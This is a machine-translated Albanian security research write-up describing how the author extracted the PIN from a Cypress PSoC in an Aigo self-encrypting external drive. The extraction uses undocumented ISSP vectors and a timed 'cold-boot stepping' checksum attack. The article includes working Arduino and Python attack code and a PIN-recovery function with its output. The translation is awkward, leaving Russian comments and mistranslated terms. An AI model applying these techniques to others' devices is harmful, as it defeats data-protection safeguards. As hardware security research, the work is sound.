Përmbysja dhe hakimi i një disku të jashtëm HDD vetë-kriptues Aigo. Pjesa 2: Marrja e një deponie nga Cypress PSoC

Kjo është pjesa e dytë dhe e fundit e artikullit në lidhje me hakimin e disqeve të jashtme vetë-kriptuese. Më lejoni t'ju kujtoj se një koleg kohët e fundit më solli një hard disk Patriot (Aigo) SK8671, dhe vendosa ta kthej mbrapsht dhe tani po ndaj atë që doli prej tij. Para se të lexoni më tej, sigurohuni që të lexoni pjesa e parë artikull.

4. Ne fillojmë të marrim një hale nga flash drive i brendshëm PSoC
5. Protokolli ISSP
– 5.1. Çfarë është ISSP
– 5.2. Vektorët Demistifikues
– 5.3. Komunikimi me PSoC
– 5.4. Identifikimi i regjistrave në çip
– 5.5. Pjesë sigurie
6. Sulmi i parë (i dështuar): ROMX
7. Sulmi i dytë: Gjurmimi i çizmeve të ftohta
– 7.1. Zbatimi
– 7.2. Leximi i rezultatit
– 7.3. Rindërtimi binar flash
– 7.4. Gjetja e adresës së ruajtjes së kodit PIN
– 7.5. Marrja e një hale të bllokut nr. 126
– 7.6. Rikuperimi i kodit PIN
8. Çfarë është më pas?
9. përfundim

Përmbysja dhe hakimi i një disku të jashtëm HDD vetë-kriptues Aigo. Pjesa 2: Marrja e një deponie nga Cypress PSoC


4. Ne fillojmë të marrim një hale nga flash drive i brendshëm PSoC

Pra, gjithçka tregon (siç kemi përcaktuar në [pjesën e parë]()) që kodi PIN ruhet në thellësitë e blicit të PSoC. Prandaj, ne duhet të lexojmë këto thellësi flash. Pjesa e përparme e punës së nevojshme:

  • të marrë kontrollin e "komunikimit" me mikrokontrolluesin;
  • gjeni një mënyrë për të kontrolluar nëse ky "komunikim" është i mbrojtur nga leximi nga jashtë;
  • gjeni një mënyrë për të anashkaluar mbrojtjen.

Ka dy vende ku ka kuptim të kërkoni një kod PIN të vlefshëm:

  • memorie flash e brendshme;
  • SRAM, ku kodi pin mund të ruhet për ta krahasuar atë me kodin pin të futur nga përdoruesi.

Duke parë përpara, do të vërej se prapëseprapë arrita të marr një hale të flash drive-it të brendshëm PSoC - duke anashkaluar sistemin e tij të sigurisë duke përdorur një sulm harduerësh të quajtur "gjurmimi i nisjes së ftohtë" - pasi përmbysja aftësitë e padokumentuara të protokollit ISSP. Kjo më lejoi të hidhja drejtpërdrejt kodin PIN aktual.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Kodi përfundimtar i programit:

5. Protokolli ISSP

5.1. Çfarë është ISSP

"Komunikimi" me një mikrokontrollues mund të nënkuptojë gjëra të ndryshme: nga "shitësi tek shitësi" tek ndërveprimi duke përdorur një protokoll serik (për shembull, ICSP për PIC të Microchip).

Cypress ka protokollin e vet të pronarit për këtë, të quajtur ISSP (protokolli i programimit serial në sistem), i cili përshkruhet pjesërisht në Specifikime teknike. Patenta US7185162 jep edhe disa informacione. Ekziston gjithashtu një ekuivalent OpenSource i quajtur HSSP (do ta përdorim pak më vonë). ISSP funksionon si më poshtë:

  • rindizni PSoC;
  • nxirrni numrin magjik në pinin e të dhënave serike të kësaj PSoC; për të hyrë në modalitetin e programimit të jashtëm;
  • dërgoni komanda, të cilat janë vargje të gjata bit të quajtur "vektorë".

Dokumentacioni ISSP përcakton këta vektorë vetëm për një pjesë të vogël të komandave:

  • Inicializoj-1
  • Inicializoj-2
  • Initialize-3 (opsionet 3V dhe 5V)
  • ID-SETUP
  • LEXO-ID-FJALË
  • SET-BLOCK-NUM: 10011111010dddddddd111, ku dddddddd=blloku #
  • FSHARJE SHUME
  • PROGRAM-BLOK
  • VERIFIKO-KONFIGUAR
  • READ-BYTE: 10110aaaaaaZDDDDDDDDDZ1, ku DDDDDDDDD = të dhënat dalin, aaaaaa = adresa (6 bit)
  • WRITE-BYTE: 10010aaaaaaddddddd111, ku dddddddd = të dhënat në, aaaaaa = adresa (6 bit)
  • SECURE
  • KONTROLLI-KONTROLL
  • READ-CHECKSUM: 10111111001ZDDDDDDDDDZ110111111000ZDDDDDDDDZ1, ku DDDDDDDDDDDDDDDDDD = të dhënat jashtë: shuma e kontrollit të pajisjes
  • FSHAR BLLOKIN

Për shembull, vektori për Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Të gjithë vektorët kanë të njëjtën gjatësi: 22 bit. Dokumentacioni HSSP ka disa informacione shtesë për ISSP: "Një vektor ISSP nuk është asgjë më shumë se një sekuencë bit që përfaqëson një grup udhëzimesh."

5.2. Vektorët Demistifikues

Le të kuptojmë se çfarë po ndodh këtu. Fillimisht, supozova se të njëjtët vektorë ishin versione të papërpunuara të udhëzimeve M8C, por pasi kontrollova këtë hipotezë, zbulova se kodet optike të operacioneve nuk përputheshin.

Pastaj kërkova në google vektorin e mësipërm dhe hasa kjo një studim ku autori, edhe pse nuk hyn në detaje, jep disa këshilla të dobishme: “Çdo udhëzim fillon me tre bit që korrespondojnë me një nga katër mnemonikët (lexo nga RAM, shkruani në RAM, lexoni regjistrin, shkruani regjistrin). Pastaj ka 8 bit adresash, të ndjekura nga 8 bit të dhënash (lexo ose shkruaj) dhe në fund tre bit ndalimi."

Më pas arrita të mbledh disa informacione shumë të dobishme nga seksioni ROM Mbikëqyrës (SROM). manual teknik. SROM është një ROM me kod të fortë në PSoC që ofron funksione të dobishme (në një mënyrë të ngjashme me Syscall) për kodin e programit që ekzekutohet në hapësirën e përdoruesit:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03: EraseBlock
  • 06h: Leximi i tabelës
  • 07h: Kontrollo Shuma
  • 08h: Kalibroni0
  • 09h: Kalibroni1

Duke krahasuar emrat e vektorëve me funksionet SROM, ne mund të hartojmë operacionet e ndryshme të mbështetura nga ky protokoll me parametrat e pritur të SROM. Falë kësaj, ne mund të deshifrojmë tre bitet e para të vektorëve ISSP:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

Sidoqoftë, një kuptim i plotë i proceseve në çip mund të arrihet vetëm përmes komunikimit të drejtpërdrejtë me PSoC.

5.3. Komunikimi me PSoC

Që nga Dirk Petrautsky tashmë portuar Kodi HSSP i Cypress në Arduino, unë përdora Arduino Uno për t'u lidhur me lidhësin ISSP të tabelës së tastierës.

Ju lutemi vini re se gjatë kërkimit tim, unë ndryshova mjaft pak kodin e Dirk. Mund ta gjeni modifikimin tim në GitHub: këtu dhe skriptin përkatës Python për komunikim me Arduino, në depon time selvi_psoc_tools.

Pra, duke përdorur Arduino, së pari përdora vetëm vektorët "zyrtarë" për "komunikim". Unë u përpoqa të lexoja ROM-in e brendshëm duke përdorur komandën VERIFY. Siç pritej, nuk munda ta bëja këtë. Ndoshta për shkak të faktit se pjesët e mbrojtjes së leximit janë aktivizuar brenda flash drive.

Pastaj krijova disa nga vektorët e mi të thjeshtë për të shkruar dhe lexuar memorie/regjistra. Ju lutemi vini re se ne mund të lexojmë të gjithë SROM-in edhe pse flash drive është i mbrojtur!

5.4. Identifikimi i regjistrave në çip

Pasi pashë vektorët "të çmontuar", zbulova se pajisja përdor regjistra të padokumentuar (0xF8-0xFA) për të specifikuar kodet optike M8C, të cilat ekzekutohen drejtpërdrejt, duke anashkaluar mbrojtjen. Kjo më lejoi të ekzekutoja opcode të ndryshme si "ADD", "MOV A, X", "PUSH" ose "JMP". Falë tyre (duke parë efektet anësore që kanë në regjistra) arrita të përcaktoj se cilët nga regjistrat e padokumentuar ishin në të vërtetë regjistra të rregullt (A, X, SP dhe PC).

Si rezultat, kodi "i çmontuar" i krijuar nga mjeti HSSP_disas.rb duket kështu (kam shtuar komente për qartësi):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Pjesë sigurie

Në këtë fazë, unë tashmë mund të komunikoj me PSoC, por ende nuk kam informacion të besueshëm në lidhje me pjesët e sigurisë të flash drive. U befasova shumë nga fakti që Cypress nuk i siguron përdoruesit e pajisjes asnjë mjet për të kontrolluar nëse mbrojtja është aktivizuar. Unë gërmova më thellë në Google për të kuptuar më në fund se kodi HSSP i ofruar nga Cypress u përditësua pasi Dirk publikoi modifikimin e tij. Dhe kështu! Ky vektor i ri është shfaqur:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Duke përdorur këtë vektor (shih read_security_data në psoc.py), marrim të gjitha bitet e sigurisë në SRAM në 0x80, ku ka dy bit për bllok të mbrojtur.

Rezultati është dëshpërues: gjithçka është e mbrojtur në modalitetin "çaktivizoni leximin dhe shkrimin e jashtëm". Prandaj, jo vetëm që nuk mund të lexojmë asgjë nga një flash drive, por nuk mund të shkruajmë asgjë (për shembull, për të instaluar një dumper ROM atje). Dhe e vetmja mënyrë për të çaktivizuar mbrojtjen është të fshini plotësisht të gjithë çipin. 🙁

6. Sulmi i parë (i dështuar): ROMX

Megjithatë, mund të provojmë trukun e mëposhtëm: meqenëse kemi aftësinë për të ekzekutuar opkode arbitrare, pse të mos ekzekutojmë ROMX, i cili përdoret për të lexuar memorien flash? Kjo qasje ka një shans të mirë për sukses. Sepse funksioni ReadBlock që lexon të dhëna nga SROM (i cili përdoret nga vektorët) kontrollon nëse thirret nga ISSP. Sidoqoftë, kodi optik ROMX mund të mos ketë një kontroll të tillë. Pra, këtu është kodi Python (pasi shtimit të disa klasave ndihmëse në kodin Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Fatkeqësisht, ky kod nuk funksionon. 🙁 Ose më mirë funksionon, por në dalje marrim kodet tona optike (0x28 0x30 0x40)! Unë nuk mendoj se funksionaliteti përkatës i pajisjes është një element i mbrojtjes së leximit. Ky është më shumë si një truk inxhinierik: kur ekzekutohen opkodet e jashtme, autobusi ROM ridrejtohet në një buffer të përkohshëm.

7. Sulmi i dytë: Gjurmimi i çizmeve të ftohta

Meqenëse truku ROMX nuk funksionoi, fillova të mendoj për një variant tjetër të këtij truku - përshkruar në botim "Hardhja e shumë dritës në mbrojtjen e firmuerit të një mikrokontrollues".

7.1. Zbatimi

Dokumentacioni ISSP ofron vektorin e mëposhtëm për CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Kjo në thelb e quan funksionin SROM 0x07, siç paraqitet në dokumentacion (kursi i imi):

Ky funksion verifikimi i shumës së kontrollit. Ai llogarit një shumë kontrolli 16-bit të numrit të blloqeve të specifikuara nga përdoruesi në një bankë flash, duke filluar nga zero. Parametri BLOCKID përdoret për të kaluar numrin e blloqeve që do të përdoren gjatë llogaritjes së shumës së kontrollit. Një vlerë prej "1" do të llogarisë vetëm kontrollin për bllokun zero; kurse "0" do të bëjë që shuma totale e kontrollit të të gjitha 256 blloqeve të bankës flash të llogaritet. Shuma e kontrollit 16-bit kthehet përmes KEY1 dhe KEY2. Parametri KEY1 ruan 8 bit të rendit të ulët të shumës së kontrollit dhe parametri KEY2 ruan 8 bit të rendit të lartë. Për pajisjet me disa banka flash, funksioni i checksum thirret për secilën veç e veç. Numri i bankës me të cilin do të punojë vendoset nga regjistri FLS_PR1 (duke vendosur bitin në të që korrespondon me flash bankën e synuar).

Vini re se kjo është një kontroll i thjeshtë: bajtët thjesht shtohen njëri pas tjetrit; asnjë çuditshmëri e zbukuruar CRC. Për më tepër, duke ditur që bërthama M8C ka një grup shumë të vogël regjistrash, supozova se kur llogaritet shuma e kontrollit, vlerat e ndërmjetme do të regjistrohen në të njëjtat variabla që përfundimisht do të shkojnë në dalje: KEY1 (0xF8) / KEY2 ( 0xF9).

Pra, në teori sulmi im duket si ky:

  1. Ne lidhemi përmes ISSP.
  2. Ne fillojmë llogaritjen e shumës së kontrollit duke përdorur vektorin CHECKSUM-SETUP.
  3. Ne rindisim procesorin pas një kohe të caktuar T.
  4. Ne lexojmë RAM-in për të marrë kontrollin aktual C.
  5. Përsëritni hapat 3 dhe 4, duke rritur pak T çdo herë.
  6. Ne rikuperojmë të dhënat nga një flash drive duke zbritur shumën e mëparshme të kontrollit C nga ajo aktuale.

Megjithatë, ka një problem: vektori Initialize-1 që duhet të dërgojmë pas rindezjes, mbishkruan KEY1 dhe KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ky kod mbishkruan shumën tonë të çmuar të kontrollit duke thirrur Calibrate1 (funksioni SROM 9)... Ndoshta thjesht mund të dërgojmë numrin magjik (nga fillimi i kodit të mësipërm) për të hyrë në modalitetin e programimit dhe më pas të lexojmë SRAM? Dhe po, funksionon! Kodi Arduino që zbaton këtë sulm është mjaft i thjeshtë:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Lexo checkum_delay.
  2. Ekzekutoni llogaritjen e shumës së kontrollit (send_checksum_v).
  3. Prisni për një periudhë të caktuar kohe; duke marrë parasysh pengesat e mëposhtme:
    • Kam humbur shumë kohë derisa kuptova se çfarë rezulton vonesëMikrosekonda punon si duhet vetëm me vonesa që nuk i kalojnë 16383 μs;
    • dhe pastaj vrau përsëri të njëjtën kohë derisa zbulova se vonesaMicroseconds, nëse 0 i kalohet si hyrje, funksionon plotësisht gabimisht!
  4. Rinisni PSoC në modalitetin e programimit (ne thjesht dërgojmë numrin magjik, pa dërguar vektorë inicializimi).

Kodi përfundimtar në Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Me pak fjalë, çfarë bën ky kod:

  1. Rinis PSoC-në (dhe i dërgon një numër magjik).
  2. Dërgon vektorët e inicializimit të plotë.
  3. Thërret funksionin Arduino Cmnd_STK_START_CSUM (0x85), ku vonesa në mikrosekonda kalohet si parametër.
  4. Lexon shumën e kontrollit (0xF8 dhe 0xF9) dhe regjistrin e padokumentuar 0xF1.

Ky kod ekzekutohet 10 herë në 1 mikrosekondë. 0xF1 përfshihet këtu sepse ishte i vetmi regjistër që ndryshoi gjatë llogaritjes së shumës së kontrollit. Ndoshta është një lloj ndryshoreje e përkohshme e përdorur nga njësia logjike aritmetike. Vini re hakun e shëmtuar që përdor për të rivendosur Arduino duke përdorur picocom kur Arduino ndalon të tregojë shenja jete (nuk e di pse).

7.2. Leximi i rezultatit

Rezultati i skriptit Python duket si ky (i thjeshtuar për lexueshmëri):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Thënë kjo, ne kemi një problem: duke qenë se jemi duke operuar me një shumë kontrolli aktual, një bajt null nuk e ndryshon vlerën e lexuar. Megjithatë, duke qenë se e gjithë procedura e llogaritjes (8192 bytes) zgjat 0,1478 sekonda (me ndryshime të lehta sa herë që ekzekutohet), që barazohet me afërsisht 18,04 μs për bajt, ne mund ta përdorim këtë kohë për të kontrolluar vlerën e shumës së kontrollit në momentet e duhura. Për ekzekutimet e para, gjithçka lexohet mjaft lehtë, pasi kohëzgjatja e procedurës llogaritëse është gjithmonë pothuajse e njëjtë. Megjithatë, fundi i kësaj deponie është më pak i saktë sepse "devijimet e vogla të kohës" në çdo drejtim shtohen duke u bërë të rëndësishme:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Kjo është 10 deponime për çdo vonesë mikrosekondë. Koha totale e funksionimit për hedhjen e të gjitha 8192 bajteve të një flash drive është rreth 48 orë.

7.3. Rindërtimi binar flash

Nuk kam përfunduar ende shkrimin e kodit që do të rindërtojë plotësisht kodin e programit të flash drive, duke marrë parasysh të gjitha devijimet e kohës. Megjithatë, unë kam rivendosur tashmë fillimin e këtij kodi. Për t'u siguruar që e bëra siç duhet, e çmontova duke përdorur m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Duket mjaft e besueshme!

7.4. Gjetja e adresës së ruajtjes së kodit PIN

Tani që mund ta lexojmë kontrollin në kohën që na nevojitet, mund të kontrollojmë lehtësisht se si dhe ku ndryshon kur ne:

  • shkruani kodin PIN të gabuar;
  • ndryshoni kodin pin.

Së pari, për të gjetur adresën e përafërt të ruajtjes, bëra një grumbullim kontrolli në rritje prej 10 ms pas një rindezjeje. Pastaj futa kodin PIN të gabuar dhe bëra të njëjtën gjë.

Rezultati nuk ishte shumë i këndshëm, pasi kishte shumë ndryshime. Por në fund arrita të përcaktoj se shuma e kontrollit ndryshoi diku midis 120000 µs dhe 140000 µs vonesë. Por "Pinkodi" që shfaqa atje ishte krejtësisht i pasaktë - për shkak të një artifakti të procedurës së vonesësMicroseconds, e cila bën gjëra të çuditshme kur i kalohet 0.

Pastaj, pasi kalova gati 3 orë, m'u kujtua se thirrja e sistemit SROM CheckSum merr një argument si hyrje që specifikon numrin e blloqeve për kontrollin! Se. ne mund të lokalizojmë lehtësisht adresën e ruajtjes së kodit PIN dhe numëruesit të "përpjekjeve të pasakta", me një saktësi deri në një bllok 64 bajt.

Vrapimet e mia fillestare sollën rezultatin e mëposhtëm:

Përmbysja dhe hakimi i një disku të jashtëm HDD vetë-kriptues Aigo. Pjesa 2: Marrja e një deponie nga Cypress PSoC

Pastaj ndryshova kodin PIN nga "123456" në "1234567" dhe mora:

Përmbysja dhe hakimi i një disku të jashtëm HDD vetë-kriptues Aigo. Pjesa 2: Marrja e një deponie nga Cypress PSoC

Kështu, kodi PIN dhe numëruesi i përpjekjeve të pasakta duket se ruhen në bllokun nr. 126.

7.5. Marrja e një hale të bllokut nr. 126

Blloku #126 duhet të jetë i vendosur diku rreth 125x64x18 = 144000μs, që nga fillimi i llogaritjes së shumës së kontrollit, në deponinë time të plotë dhe duket mjaft e besueshme. Më pas, pasi shoshita manualisht deponitë e shumta të pavlefshme (për shkak të akumulimit të "devijimeve të vogla të kohës"), përfundova duke marrë këto bajt (me një vonesë prej 145527 μs):

Përmbysja dhe hakimi i një disku të jashtëm HDD vetë-kriptues Aigo. Pjesa 2: Marrja e një deponie nga Cypress PSoC

Është mjaft e qartë se kodi PIN ruhet në formë të pakriptuar! Këto vlera, natyrisht, nuk janë të shkruara në kodet ASCII, por siç rezulton, ato pasqyrojnë leximet e marra nga tastiera kapacitive.

Më në fund, bëra disa teste të tjera për të gjetur se ku ishte ruajtur numëruesi i keq i përpjekjeve. Ja rezultati:

Përmbysja dhe hakimi i një disku të jashtëm HDD vetë-kriptues Aigo. Pjesa 2: Marrja e një deponie nga Cypress PSoC

0xFF - do të thotë "15 përpjekje" dhe zvogëlohet me çdo përpjekje të dështuar.

7.6. Rikuperimi i kodit PIN

Këtu është kodi im i shëmtuar që bashkon sa më sipër:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Këtu është rezultati i ekzekutimit të tij:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hora! Punon!

Ju lutemi vini re se vlerat e vonesës që kam përdorur ka të ngjarë të jenë të rëndësishme për një PSoC specifike - atë që kam përdorur.

8. Çfarë është më pas?

Pra, le të përmbledhim në anën PSoC, në kontekstin e makinës sonë Aigo:

  • ne mund të lexojmë SRAM edhe nëse lexohet i mbrojtur;
  • Ne mund ta anashkalojmë mbrojtjen kundër rrëshqitjes duke përdorur një sulm të gjurmimit të nisjes së ftohtë dhe duke lexuar drejtpërdrejt kodin PIN.

Megjithatë, sulmi ynë ka disa të meta për shkak të problemeve të sinkronizimit. Mund të përmirësohet si më poshtë:

  • shkruani një mjet për të deshifruar saktë të dhënat e daljes që janë marrë si rezultat i një sulmi "gjurmë e nisjes së ftohtë";
  • përdorni një vegël FPGA për të krijuar vonesa më të sakta kohore (ose përdorni kohëmatësit e harduerit Arduino);
  • provoni një sulm tjetër: futni një kod PIN qëllimisht të pasaktë, rindizni dhe hidhni RAM-in, duke shpresuar që kodi PIN i saktë do të ruhet në RAM për krahasim. Sidoqoftë, kjo nuk është aq e lehtë për t'u bërë në Arduino, pasi niveli i sinjalit Arduino është 5 volt, ndërsa bordi që po shqyrtojmë funksionon me sinjale 3,3 volt.

Një gjë interesante që mund të provohet është të luash me nivelin e tensionit për të anashkaluar mbrojtjen e leximit. Nëse kjo qasje do të funksiononte, ne do të ishim në gjendje të merrnim të dhëna absolutisht të sakta nga flash drive - në vend që të mbështetemi në leximin e një shume kontrolli me vonesa të pasakta kohore.

Meqenëse SROM ndoshta lexon pjesët mbrojtëse nëpërmjet thirrjes së sistemit ReadBlock, ne mund të bëjmë të njëjtën gjë si përshkruar në blogun e Dmitry Nedospasov - një ri-zbatim i sulmit të Chris Gerlinski, i shpallur në konferencë "REcon Bruksel 2017".

Një tjetër gjë argëtuese që mund të bëhet është heqja e kasës nga çipi: të marrësh një depon SRAM, të identifikosh thirrjet dhe dobësitë e sistemit pa dokumente.

9. përfundim

Pra, mbrojtja e këtij disku lë shumë për të dëshiruar, sepse përdor një mikrokontrollues të rregullt (jo të “ngurtësuar”) për të ruajtur kodin PIN... Plus, nuk e kam parë (ende) se si po shkojnë gjërat me të dhënat enkriptim në këtë pajisje!

Çfarë mund të rekomandoni për Aigo? Pas analizimit të disa modeleve të disqeve HDD të koduar, në vitin 2015 bëra prezantim në SyScan, në të cilin ai ekzaminoi problemet e sigurisë së disa disqeve të jashtme HDD dhe bëri rekomandime se çfarë mund të përmirësohej në to. 🙂

Kalova dy fundjavë dhe disa mbrëmje duke bërë këtë hulumtim. Gjithsej rreth 40 orë. Duke numëruar që nga fillimi (kur hapa diskun) deri në fund (depozitimi i kodit PIN). Të njëjtat 40 orë përfshijnë kohën që kalova duke shkruar këtë artikull. Ishte një udhëtim shumë emocionues.

Burimi: www.habr.com

Shto një koment